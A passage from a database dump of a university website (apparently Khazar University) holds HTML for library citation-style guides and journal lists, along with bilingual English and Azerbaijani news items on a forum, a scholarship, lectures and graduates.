margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:11.25pt;line-height:normal\"\"=\"\"><strong><a href=\"http://www.mla.org/handbook_faq\" target=\"_blank\" title=\"MLA Style Frequently Asked Questions from MLA\">MLA Style Frequently Asked Questions from MLA</a></strong></p><h2 style=\"text-align:justify\"><strong>Chicago/Turabian Style:</strong></h2>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Chicago style places bibliographic\r\ncitations at the bottom of a page or at the end of a paper and is frequently\r\nused in books, magazines, newspapers, and other non-scholarly publications.\r\nChicago style is very similar to Turabian style, however, while The&nbsp;<strong>Chicago\r\nManual of Style</strong>&nbsp;focuses on providing guidelines for publishing in\r\ngeneral, Turabian\'s&nbsp;<strong>A Manual for Writers of Research Papers, Theses,\r\nand Dissertations</strong>&nbsp;focuses specifically on providing guidelines for\r\nstudent writers.&nbsp;<br>\r\nThese resources, revised according to the&nbsp;<strong>15<sup>th</sup></strong>&nbsp;&amp;&nbsp;<strong>16<sup>th</sup>\r\nedition</strong>&nbsp;of the&nbsp;<strong>Chicago Manual of Style</strong>&nbsp;and the&nbsp;<strong>7<sup>th</sup></strong>&nbsp;edition\r\nof&nbsp;<strong>A Manual for Writers of Research Papers, Theses, and Dissertations</strong>,\r\noffer examples for the general format of Chicago/Turabian style research\r\npapers, in-text citations, endnotes/footnotes, and reference pages:</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong><a href=\"http://www.chicagomanualofstyle.org/tools_citationguide.html\" target=\"_blank\" title=\"Chicago Style Citation Quick Guide from Chicago Manual of Style\">Chicago Style Citation Quick Guide from Chicago Manual of\r\nStyle</a></strong></p><h2 style=\"text-align:justify\"><strong>Writing Help:&nbsp;</strong></h2><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">\r\nFull-text online version of this well-known guide to English grammar and usage.\r\n&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong><span style=\"color:#0000ff\"><a href=\"http://www.bartleby.com/141/index.html\" target=\"_blank\" title=\"The Elements of Style\">The Elements of Style</a></span></strong></p><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><h3><strong><span style=\"color:#0000ff\"><a href=\"http://www.bartleby.com/141/index.html\" target=\"_blank\" title=\"The Elements of Style\"></a></span></strong>Citation Style\r\nGuides&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</h3>  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\"><strong><strong><a href=\"http://libguides.butler.edu/content.php?pid=1873&amp;sid=9038\" target=\"_blank\">Citation Guides at Butler University</a></strong></strong><strong></strong></p><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong><img src=\"/files/library/1.jpg\" style=\"border:0px #000000;width:780px;height:200px;vertical-align:baseline\"><br></strong></p><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><span style=\"font-family:\'Times New Roman\', serif;font-size:12pt;text-align:justify\">Scott Pfitzinger and Brad Matthies (now the Director of the Casper College\r\nGoodstein Foundation Library) created a great citation guide, which provides\r\nexcellent synopses of MLA, APA, and Chicago/Turabian citation guidelines.</span></p><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><span style=\"text-align:justify\"><br></span></p><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><span style=\"text-align:justify\"><strong><a href=\"http://libguides.tulane.edu/citation\">Citation\r\nand Writing Guides at Tulane University</a></strong><br></span></p><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><span style=\"font-family:\'Times New Roman\', serif;font-size:12pt;text-align:justify\"><img src=\"/files/library/2.jpg\" style=\"width:794px;height:220px\"><br></span></p><p style=\"margin-bottom:0.0001pt;line-height:normal;text-align:justify\">Anthony DelRosario from Tulane\r\nUniversity created a comprehensive guide on citation styles (MLA, APA,\r\nChicago/Turabian, etc.) and a breakdown of citation management software to\r\nboot.</p><p style=\"text-align:justify\"><br></p> <p style=\"text-align:justify\"><strong><a href=\"http://writingcenter.scottsdalecc.libguides.com/content.php?pid=33603&amp;sid=246186\">Citing\r\nand Researching Guide at Scottsdale Community College</a></strong><a href=\"http://writingcenter.scottsdalecc.libguides.com/content.php?pid=33603&amp;sid=246186\"></a><br></p><p style=\"margin-bottom:0.0001pt;line-height:normal;text-align:justify\"><img src=\"/files/library/3.jpg\" style=\"width:789px;height:195px\"><br></p><p style=\"margin-bottom:0.0001pt;line-height:normal;text-align:justify\">Jennifer\r\nWatson created a great guide on citing and researching that pulls in tons of\r\nrelevant links, and RSS feeds to boot.&nbsp;</p>'),(5098,2965,'en','Style Manuals','Style Manuals','<h2 style=\"text-align:justify\"><strong>Ultimate Citation\r\nReference:</strong>&nbsp;</h2><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">\r\nWhether you\'re a professional writer, a student, or just writing a post for\r\nyour personal blog, being able to cite and reference correctly is a critical\r\nskill.</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">To help you out, we\'ve\r\nput together a guide, covering all the major citation styles you can choose\r\nfrom, how they cite in-text, what their bibliography/reference list looks like,\r\nand additional resources you can use to get your citations just right.&nbsp;</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><a href=\"http://www.whoishostingthis.com/resources/citations/\"><strong>How to Add Citations to Your Work</strong></a>&nbsp; &nbsp;&nbsp;</p><h2 style=\"text-align:justify\">APA Style:  </h2>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">APA (American Psychological Association) style is most commonly used to cite sources within the social sciences.&nbsp; These resources<strong>&nbsp;</strong>&nbsp;offer examples for the general format of APA research papers, in-text citations, endnotes/footnotes, and reference pages:</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://www.apastyle.org/learn/faqs/index.aspx\" target=\"_blank\" title=\"APA Style Frequently Asked Questions from APA\"><strong>APA Style Frequently Asked Questions from APA</strong></a></p>\r\n<h2 style=\"text-align:justify\"><strong>MLA Style:<br></strong></h2><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong><a href=\"http://www.apastyle.org/learn/tutorials/basics-tutorial.aspx\" target=\"_blank\" title=\"APA Basics Online Tutorial from APA\">APA Basics Online Tutorial from APA</a></strong></p><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">MLA (Modern Language\r\nAssociation) style is most commonly used to cite sources within the arts and\r\nhumanities.&nbsp; These resources, revised according to the&nbsp;<strong>7th edition</strong>&nbsp;of\r\nthe&nbsp;<strong>MLA Handbook for Writers of Research Papers</strong>, offer examples for\r\nthe general format of MLA research papers, in-text citations,\r\nendnotes/footnotes, and reference pages:</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:11.25pt;line-height:normal\"\"=\"\"><strong><a href=\"http://www.mla.org/handbook_faq\" target=\"_blank\" title=\"MLA Style Frequently Asked Questions from MLA\">MLA Style Frequently Asked Questions from MLA</a></strong></p><h2 style=\"text-align:justify\"><strong>Chicago/Turabian Style:</strong></h2>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Chicago style places bibliographic\r\ncitations at the bottom of a page or at the end of a paper and is frequently\r\nused in books, magazines, newspapers, and other non-scholarly publications.\r\nChicago style is very similar to Turabian style, however, while The&nbsp;<strong>Chicago\r\nManual of Style</strong>&nbsp;focuses on providing guidelines for publishing in\r\ngeneral, Turabian\'s&nbsp;<strong>A Manual for Writers of Research Papers, Theses,\r\nand Dissertations</strong>&nbsp;focuses specifically on providing guidelines for\r\nstudent writers.&nbsp;<br>\r\nThese resources, revised according to the&nbsp;<strong>15<sup>th</sup></strong>&nbsp;&amp;&nbsp;<strong>16<sup>th</sup>\r\nedition</strong>&nbsp;of the&nbsp;<strong>Chicago Manual of Style</strong>&nbsp;and the&nbsp;<strong>7<sup>th</sup></strong>&nbsp;edition\r\nof&nbsp;<strong>A Manual for Writers of Research Papers, Theses, and Dissertations</strong>,\r\noffer examples for the general format of Chicago/Turabian style research\r\npapers, in-text citations, endnotes/footnotes, and reference pages:</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong><a href=\"http://www.chicagomanualofstyle.org/tools_citationguide.html\" target=\"_blank\" title=\"Chicago Style Citation Quick Guide from Chicago Manual of Style\">Chicago Style Citation Quick Guide from Chicago Manual of\r\nStyle</a></strong></p><h2 style=\"text-align:justify\"><strong>Writing Help:&nbsp;</strong></h2><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">\r\nFull-text online version of this well-known guide to English grammar and usage.\r\n&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong><span style=\"color:#0000ff\"><a href=\"http://www.bartleby.com/141/index.html\" target=\"_blank\" title=\"The Elements of Style\">The Elements of Style</a></span></strong></p><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>'),(5096,2964,'az','Recommended Journal Lists','Recommended Journal Lists','<h2><strong>Azerbaijani Higher Attestation Commission Journal List by\r\nSpecialization:</strong></h2>\r\n<br><ul><li><a href=\"http://library.khazar.org/files/Biology.pdf\"><strong>Biology</strong></a></li><li><a href=\"http://library.khazar.org/files/Chemistry.pdf\"><strong>Chemistry</strong></a></li><li><a href=\"http://library.khazar.org/files/Economics.pdf\"><strong>Economics</strong></a></li><li><a href=\"http://library.khazar.org/files/Education.pdf\"><strong>Education</strong></a></li><li><a href=\"http://library.khazar.org/files/Geography.pdf\"><strong>Geography</strong></a></li><li><a href=\"http://library.khazar.org/files/History.pdf\"><strong>History</strong></a></li><li><a href=\"http://library.khazar.org/files/Math.pdf\"><strong>Mathematics</strong></a></li><li><a href=\"http://library.khazar.org/files/Philology.pdf\"><strong>Philology</strong></a></li><li><a href=\"http://library.khazar.org/files/Philosophy.pdf\"><strong>Philosophy</strong></a></li><li><a href=\"http://library.khazar.org/files/Physics.pdf\"><strong>Physics</strong></a></li><li><a href=\"http://library.khazar.org/files/Technics.pdf\"><strong>Technics</strong></a></li></ul><br>\r\n<h2><strong>Russian Higher Attestation Commission Journal List by Specialization:</strong></h2>\r\n<br><ul><li><a href=\"http://library.khazar.org/files/%D0%A5%D0%B8%D0%BC%D0%B8%D1%8F.pdf\"><strong>Chemistry</strong></a></li><li><a href=\"http://library.khazar.org/files/%D0%AD%D0%BA%D0%BE%D0%BD%D0%BE%D0%BC%D0%B8%D0%BA%D0%B0.pdf\"><strong>Economics</strong></a></li><li><a href=\"http://library.khazar.org/files/%D0%98%D1%81%D1%82%D0%BE%D1%80%D0%B8%D1%8F.pdf\"><strong>History</strong></a></li><li><a href=\"http://library.khazar.org/files/M%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0.pdf\"><strong>Mathematics</strong></a></li><li><a href=\"http://library.khazar.org/files/%D0%9D%D0%B5%D1%84%D1%82%D1%8C_%D0%B8%20_%D0%B3%D0%B0%D0%B7.pdf\"><strong>Oil and Gas</strong></a></li><li><a href=\"http://library.khazar.org/files/%D0%A4%D0%B8%D0%B7%D0%B8%D0%BA%D0%B0.pdf\"><strong>Physics</strong></a></li><li><a href=\"http://library.khazar.org/files/%D0%A2%D0%B5%D1%85%D0%BD%D0%B8%D0%BA%D0%B0(1).pdf\"><strong>Technics</strong></a></li></ul><br>\r\n<h2><strong>Turkish Higher Attestation Commission Journal List</strong>&nbsp;<strong>by\r\nSpecialization:</strong></h2>\r\n<br><ul><li><strong><a href=\"http://library.khazar.org/files/Education_Turkish.pdf\">Education</a></strong></li><li><strong><a href=\"http://library.khazar.org/files/Engineering_Turkish.pdf\">Engineering</a></strong></li><li><strong><a href=\"http://library.khazar.org/files/History_Turkish.pdf\">History</a></strong></li><li><strong><a href=\"http://library.khazar.org/files/Medicine_Turkish.pdf\">Medicine</a></strong></li><li><strong><a href=\"http://library.khazar.org/files/Natural_Sciences.pdf\">Natural Science</a></strong></li></ul><br>\r\n<h2><strong>Springer Journal&nbsp;List by Specialization:</strong></h2>\r\n<br><ul><li><a href=\"http://library.khazar.org/files/Springer_Journals_Business.pdf\"><strong>Business</strong></a></li><li><a href=\"http://library.khazar.org/files/Journals_in_Computer_Science.pdf\"><strong>Computer Science</strong></a></li><li><a href=\"http://library.khazar.org/files/Journals%20in%20Economics.pdf\"><strong>Economics</strong></a></li><li><a href=\"http://library.khazar.org/files/Journals%20in%20Education.pdf\"><strong>Education and Language</strong></a></li><li><a href=\"http://library.khazar.org/files/Journals_in_Environmental_Sciences(1).pdf\"><strong>Environmental Science</strong></a></li><li><a href=\"http://library.khazar.org/files/Journals_in_Learning.pdf\"><strong>Learning</strong></a></li><li><strong><a href=\"http://library.khazar.org/files/Journals_in_Mathematics.pdf\">Mathematics</a></strong>&nbsp;</li></ul>'),(6366,3617,'en','Accounting Forum to be held','On November 25, 2018, on a joint initiative of the School...','<p><a href=\"/files/events/muhasibler-forumu-poster.JPG\"></a><a href=\"/files/events/muhasibler-forumu-poster.JPG\" target=\"_blank\"><img src=\"/files/events/muhasibler-forumu-poster.JPG\" style=\"border:0px  #0000ee;float:left;width:250px;height:357px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a>On November 25, 2018, on a joint initiative of the School of Economics and Management and National Accountants Forum, next workshop will be held in Fikrat Amirov Conference and Concert Hall of Khazar University, downtown campus (B.Safaroghlu str.122). The aim of the workshop is to enlighten people studying and working in the field of accounting. The topic of the workshop is “Accounting of costs and reporting of cash flows”.</p><p>Accountants of more than 100 companies are planned to take part in the workshop within which interesting discussions are expected to be held for students and instructors.&nbsp;For more information please contact Dr. Elsever Ibadov at <a href=\"mailto:eibadov@khazar.org\" target=\"_blank\" rel=\"noopener noreferrer\" auth=\"NotApplicable\" style=\"font-size:12pt;font-family:\'Times New Roman\', serif;background-color:#ffffff\"></a><a href=\"mailto:eibadov@khazar.org\">eibadov@khazar.org</a>.<span style=\"font-size:12pt;font-family:\'Times New Roman\', serif;background-color:#ffffff;color:#000000\"></span></p><p><span style=\"font-size:12pt;font-family:\'Times New Roman\', serif;background-color:#ffffff;color:#000000\"></span>Those interested are welcome.</p>'),(6365,3617,'az','Mühasibat Uçotu Forumu keçiriləcək','2018-ci il noyabrın 25-də Xəzər Universitetinin şəhər mərkəzində...','<p><a href=\"/files/events/muhasibler-forumu-poster.JPG\"></a><a href=\"/files/events/muhasibler-forumu-poster.JPG\" target=\"_blank\"><img src=\"/files/events/muhasibler-forumu-poster.JPG\" style=\"border:0px  #0000ee;float:left;width:250px;height:357px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a>2018-ci il noyabrın 25-də Xəzər Universitetinin şəhər mərkəzində yerləşən korpusundakı (B.Səfəroğlu küç. 122) Fikrət Əmirov Konfrans-konsert mərkəzində İqtisadiyyat və Menecment fakültəsi və Milli Mühasiblər Forumunun əməkdaşlığı ilə növbəti seminar keçiriləcək. Mühasibat uçotu sahəsində təhsil alan və çalışan şəxslərin maarifləndirilməsi məqsədilə keçirilən seminar “<em>Maya dəyərinin uçotu və pul vəsaitlərinin hərəkəti haqqında hesabat”</em> mövzusunda olacaq.</p><p>100-dən çox şirkətin mühasiblərinin iştirak etməsi planlaşdırılan seminarın tələbə və müəllimlər üçün səmərəli müzakirə və fikir mübadiləsinə səbəb olacağı gözlənilir. Ətraflı məlumat və qeydiyyat üçün Dr. Elsevər İbadovla (<a href=\"mailto:eibadov@khazar.org\">eibadov@khazar.org</a>) əlaqə saxlamaq olar.</p><p>Maraqlanan hər kəs iştirak edə bilər.</p>'),(5099,2967,'en','The Krzysztof Skubiszewski Scholarship and Research Grant 2018','The Krzysztof Skubiszewski Scholarship and Research Grant 2018...','<p style=\"text-align:center\"><strong><em>Krzysztof Skubiszewski was the first Polish Minister of Foreign Affairs to be appointed\r\nafter Poland regained its independence; he served from 1989 to 1993.&nbsp;</em></strong></p><p style=\"text-align:center\"><strong><em>The scholarship and the research grant are open to candidates from</em></strong></p><p style=\"text-align:center\"><strong><em>Central Europe, the Balkans, the Baltic States, Eastern Europe</em></strong></p><p style=\"text-align:center\"><strong><em>Russia, Central Asia &amp; the Caucasus</em></strong></p><p style=\"text-align:left\"><strong><em></em></strong><img src=\"/files/letters/Krzysztof-Skubiszewski.jpg\" style=\"width:300px;height:411px;margin:7px;float:left\">The scholarship holder will be given the opportunity to conduct academic research in Poland\r\nduring the 2018/2019 academic year in collaboration with the University of Warsaw or with\r\nanother Polish university, in the field of law, political science or contemporary history. The goal of\r\nthe scholarship is to promote democracy, human rights, the rule of law, and the respect of law in\r\ninternational relations.&nbsp;</p><p style=\"text-align:left\">The scholarship is open to candidates who hold a master’s degree or equivalent, and have\r\nsuccessfully defended their doctoral thesis (or have other significant academic achievements) or\r\nhave accomplished works of significant importance in the public interest, especially in the area of\r\npromoting democracy and the rule of law.&nbsp;</p><p style=\"text-align:left\">The research grant is intended to finance a three-month or shorter\r\nvisit to Poland, that will have the same purpose and will be organized\r\nin the same way as the research work in Poland financed by the\r\nscholarship.&nbsp;</p><p style=\"text-align:left\">The applications must be received no later\r\nthan <strong>April 13, 2018</strong>.&nbsp;</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\">Detailed information about the\r\nscholarship and the research grant:</p><p style=\"text-align:left\"><a href=\"www.skubi.net/apply\">www.skubi.net/apply</a>  <br></p><p style=\"text-align:left\"><strong><span style=\"text-decoration:underline\"><br></span></strong></p><p style=\"text-align:left\"><strong><span style=\"text-decoration:underline\">Scholarship and research grant sponsored by</span></strong></p><p style=\"text-align:left\">The Krzysztof Skubiszewski Foundation</p><p style=\"text-align:left\"><a href=\"http://www.skubi.net/fundacja.html\">www.skubi.net/fundacja.html</a></p><p style=\"text-align:left\"><a href=\"mailto:stypendia@skubi.net\">stypendia@skubi.net</a>  </p><p style=\"text-align:left\">Phone: +48 697 904 178</p><p style=\"text-align:left\"><strong><span style=\"text-decoration:underline\"><br></span></strong></p><p style=\"text-align:left\"><strong><span style=\"text-decoration:underline\">In collaboration with</span></strong></p><p style=\"text-align:left\">The Centre for East European Studies\r\nUniversity of Warsaw</p><p style=\"text-align:left\"><a href=\"http://www.studium.uw.edu.pl\">www.studium.uw.edu.pl</a>&nbsp;</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><em><a href=\"http://www.skubi.net/Skubiszewski-scholarship2018.pdf\">Printer-friendly version of this page (PDF)</a></em>  <br></p>'),(6271,3570,'az','Qonaq mühazirəçi: Dr. Wolf Linder Xəzər Universitetində mühazirə ilə çıxış etdi','2018-ci il oktyabrın 25-də Xəzər Universiteti Siyasi elm və hüquq məsləhətçisi, İsveçrə...','<p>25 oktyabr 2018-ci il tarixdə siyasi ekspert,&nbsp;hüquq məsləhətçisi, İsveçrə Elmi Şurasının üzvü Dr. Wolf Linder Xəzər Universitetində mühazirə ilə çıxış etdi. Dr. Wolf Linderin “<em>Demokratiyanın müxtəlif istiqamətləri:&nbsp;İsveçrə demokratiyas&nbsp;niyə və necə&nbsp; fərqlənir?</em>” adlı mühazirəsi İsveçrənin Azərbaycandakı səfirliyinin dəstəyi ilə&nbsp;Siyasi Elm və Beynəlxalq Münasibətlər departamenti tərəfindən təşkil edilmişdir. Mühazirədə İsveçrə Konfederasiyası, birbaşa demokratiyanın tarixi inkişafı, İsveçrə demokratiya modelinin xüsusiyyətləri və məhdudiyyətləri, İsveçrənin siyasi sistemi müzakirə edildi. Bundan əlavə, tələbələrə Aİ-İsveçrə münasibətləri,&nbsp;ikitərəfli müqavilələr&nbsp;və&nbsp;&nbsp;Aİ vahid bazarında iştirak üçün İsveçrənin Aİ qanunlarını qəbul etməsi barədə&nbsp;məlumat verildi.</p><p>Dr. Wolf Linderin seminarı sual-cavab sessiyası ilə yekunlaşdı.</p>'),(6272,3570,'en','Guest lecturer: Dr. Wolf Linder delivers a lecture at Khazar University','On October 25, 2018, Dr. Wolf Linder – political scientist and legal expert, and a member...','<p>On October 25, 2018, Dr. Wolf Linder –   political scientist and legal expert, and a member of Swiss Science Council - delivered a lecture at Khazar University. The lecture of Dr. Wolf Linder, entitled “<em>The many ways to democracy – why and how Switzerland is different</em>” was organized by Political Science and International Relations Department with the support of Embassy of Switzerland in Azerbaijan.</p><p>During the lecture, Swiss Confederation, the historical development of direct democracy, particularities, and limits of the Swiss democracy model, the Swiss system of power-sharing were discussed. Moreover, the students were informed about the EU-Switzerland relations, bilateral agreements, and Switzerland\'s adoption of EU law in order to perform in EU single market.</p><p>Dr. Wolf Linder’s lecture was followed by Q&amp;A session.</p>'),(5951,3402,'az','Mühəndislik və Tətbiqi Elmlər fakültəsinin məzunları dünyanın nüfuzlu universitetlərində təhsillərini davam etdirəcəklər','Xəzər Universitetinin Mühəndislik və Tətbiqi Elmlər fakültəsindən 2017/2018-ci tədris ilində məzun olmuş...','<p>Xəzər Universitetinin Mühəndislik və Tətbiqi Elmlər fakültəsindən 2017/2018-ci tədris ilində məzun olmuş tələbələrin bir qismi təqaüdlü və təqaüdsüz təhsil proqramları ilə dünyanın müxtəlif ali təhsil müəssisələrinin magistratura pilləsinə qəbul olunmuşlar.&nbsp;</p><p>Həmin tələbələri təqdim edirik:<br><br></p><p><strong><img src=\"/files/engineering/images/narmin_s.jpg\" style=\"float:left;width:150px;height:156px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nərmin Səlimova</strong></p><p><strong></strong><strong>Universitet:&nbsp;</strong>Grenoble Alpes Universiteti, Fransa</p><p><strong>İxtisas</strong>: Kimya Mühəndisliyi (Nanoelm və Nanotexnologiyalar)  </p><p><strong>Təqaüdlü təhsil</strong></p><p><strong><br></strong></p><p><br></p><p><strong><img src=\"/files/engineering/images/nazrin_ba.jpg\" style=\"float:left;width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nəzrin Babaşova</strong></p><p><strong>Universitet:&nbsp;</strong>Linnaeus Universiteti, İsveç</p><p><strong>İxtisas</strong>:&nbsp;Kimya Mühəndisliyi (Davamlı Enerji Prosesləri)</p><p><strong></strong><strong>Təqaüdlü təhsil</strong><br></p><p><br></p><p><br></p><p><br></p><p><strong><img src=\"http://www.khazar.org/files/engineering/images/tarlan_h.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:148px\">Tərlan Həsənli</strong></p><p><strong>Universitet:&nbsp;</strong>Tartu Universiteti, Estoniya</p><p><strong>İxtisas:</strong>  Kompüter Mühəndisliyi</p><p><strong><strong>Təqaüdlü təhsil</strong></strong></p><p><strong><strong><br></strong></strong></p><p><br></p><p><strong><img src=\"http://www.khazar.org/files/engineering/images/latif_g.jpg\" style=\"float:left;width:150px;height:182px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Lətif Quliyev</strong></p><p><strong>Universitet:&nbsp;</strong>Eötvös Loránd Universiteti&nbsp;(ELTE), Macarıstan</p><p><strong>İxtisas</strong>:&nbsp;Kompüter Elmləri</p><p><strong><strong>Təqaüdlü təhsil</strong>  </strong></p><p><strong><br></strong></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/lamiye_m.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Lamiyə Məmmədova</strong></p><p><strong style=\"font-weight:bold\">Universitet:</strong>&nbsp;City University of London, Böyük Britaniya<br></p><p><strong>İxtisas:</strong>&nbsp;Kompüter Mühəndisliyi (Cyber Security)  </p><p><strong>Təqaüdlü təhsil</strong></p><p><br></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/adil_b.jpg\" style=\"float:left;width:150px;height:192px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Adil Babayev</strong></p><p><strong></strong><strong>Universitet:</strong>&nbsp;Budapest University of Technology and Economics, Macarıstan</p><p><strong>İxtisas:</strong>&nbsp;Elektronika (Transportation Engineering)  </p><p><strong>Təqaüdlü təhsil</strong></p>  <p><strong><br></strong></p><p><br></p><p><strong>Beydulla Zeynalov</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/beydulla_z.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p><p><strong>Universitet</strong>:&nbsp;Óbuda Universiteti, Macarıstan</p><p><strong></strong><strong>İxtisas:</strong>&nbsp;Kompüter Mühəndisliyi  </p><p><strong>Təqaüdlü təhsil</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p><strong>S<img src=\"http://www.khazar.org/files/engineering/images/sultan_i.jpg\" style=\"float:left;width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px\">ultan İsmayılov</strong></p><p><strong></strong><strong>Universitet</strong>: Ruhr University Bochum,&nbsp;Almaniya</p><p><strong>İxtisas</strong>: İnşaat Mühəndisliyi (Hesablama Mühəndisliyi)</p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/nijat_a.jpg\" style=\"float:left;width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nicat Əliyev</strong></p><p><strong>Universitet:&nbsp;</strong>Opole Universiteti, Polşa<br></p><p><strong>İxtisas:&nbsp;</strong>İnşaat Mühəndisliyi (Construction Management)  </p><p><strong>Təqaüdlü təhsil</strong><strong></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><img src=\"http://www.khazar.org/files/engineering/images/arsham_s.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:227px\">Arsham Sarshogh&nbsp;</strong></p><p><strong></strong><strong>Universitet</strong>:&nbsp;Alberta Universiteti, Kanada</p><p><strong></strong><strong>İxtisas:</strong>&nbsp;Kompüter Mühəndisliyi  </p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong></strong></p>'),(6311,3590,'az','Dissertantın məqaləsi çap olunmuşdur','Xəzər Universitetinin Təhsilin təşkili və planlaşdırılması ixtisasında təhsil alan dissertant...','<p>Xəzər Universitetinin Təhsilin təşkili və planlaşdırılması ixtisasında təhsil alan dissertant Sevda Hidayət qızı Axundovanın “<em>İnnovativ istiqamətləri olan kolleclərin idarə olunması: göstəricilər, meyarlar və uğur</em>” mövzusunda məqaləsi “American International Journal of Social Science” (Vol. 7, No. 3, September 2018) adlı jurnalda çap olunmuşdur.</p><p>Məqalənin qısa məzmunu ilə bu link vasitəsilə tanış olmaq olar:&nbsp;</p><p><a href=\"http://dx.doi.org/10.30845/aijss.v7n3p13\">http://dx.doi.org/10.30845/aijss.v7n3p13</a>.</p>  <p>Məqaləni bu link vasitəsilə tam oxumaq olar:</p><p><a href=\"http://www.aijssnet.com/journals/Vol_7_No_3_September_2018/13.pdf\">http://www.aijssnet.com/journals/Vol_7_No_3_September_2018/13.pdf</a>.</p>'),(6267,3568,'az','EBSCO Xəzər Universitetində təqdimat etdi','2018-ci il oktyabrın 17-si saat 15:00-da EBSCO İnformasiya xidmətinin nümayəndəsi cənab...','<p>2018-ci il oktyabrın 17-si saat 15:00-da EBSCO İnformasiya xidmətinin nümayəndəsi cənab Douglas Heintz Xəzər Universitetində “<em>EBSCO Discovery Service: axtarış, məzmun və XXI əsr kitabxanalarında proqram təminatı</em>” adlı təqdimat keçirdi.</p><p>Təqdimatda Xəzər Universitetinin əməkdaşları, doktorantlar iştirak edirdilər. Hazırda EBSCO şirkəti tərəfindən Xəzər Universitetinin əməkdaşlarına faydalı resurslardan istifadə üçün 1 aylıq sınaq müddəti verilmişdir.</p>'),(6268,3568,'en','EBSCO delivers a presentation at Khazar University','On October 17, 2018, at 15:00, Mr Douglas Heintz, a representative of EBSCO Information service...','<p>On October 17, 2018, at 15:00, Mr Douglas Heintz, a representative of EBSCO Information service, delivered a presentation “<em>EBSCO Discovery Service: search, content and software at libraries in the XXI century</em>” at Khazar University.</p><p>University associates and PhD candidates participated in the presentation. Currently, Khazar University associates are entitled to a one-month trial period for use of resources.</p>'),(6269,3569,'az','Professor Hamlet İsaxanlı məzunların iş tapa bilməməsində universitetin məsuliyyəti məsələsinə münasibət bildirdi','2018-ci il oktyabrın 26-da Media.az xəbər saytı “İş tapa bilmədikdə, universitetə qarşı iddia qaldırmaq olarmı...','<p>2018-ci il oktyabrın 26-da <em>Media.az</em> xəbər saytı “<em>İş tapa bilmədikdə, universitetə qarşı iddia qaldırmaq olarmı?</em>” sualı ilə təhsil mütəxəssisi olaraq, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının fikirlərini öyrənmişdir.</p><p>Daha geniş məlumatı bu link vasitəsilə 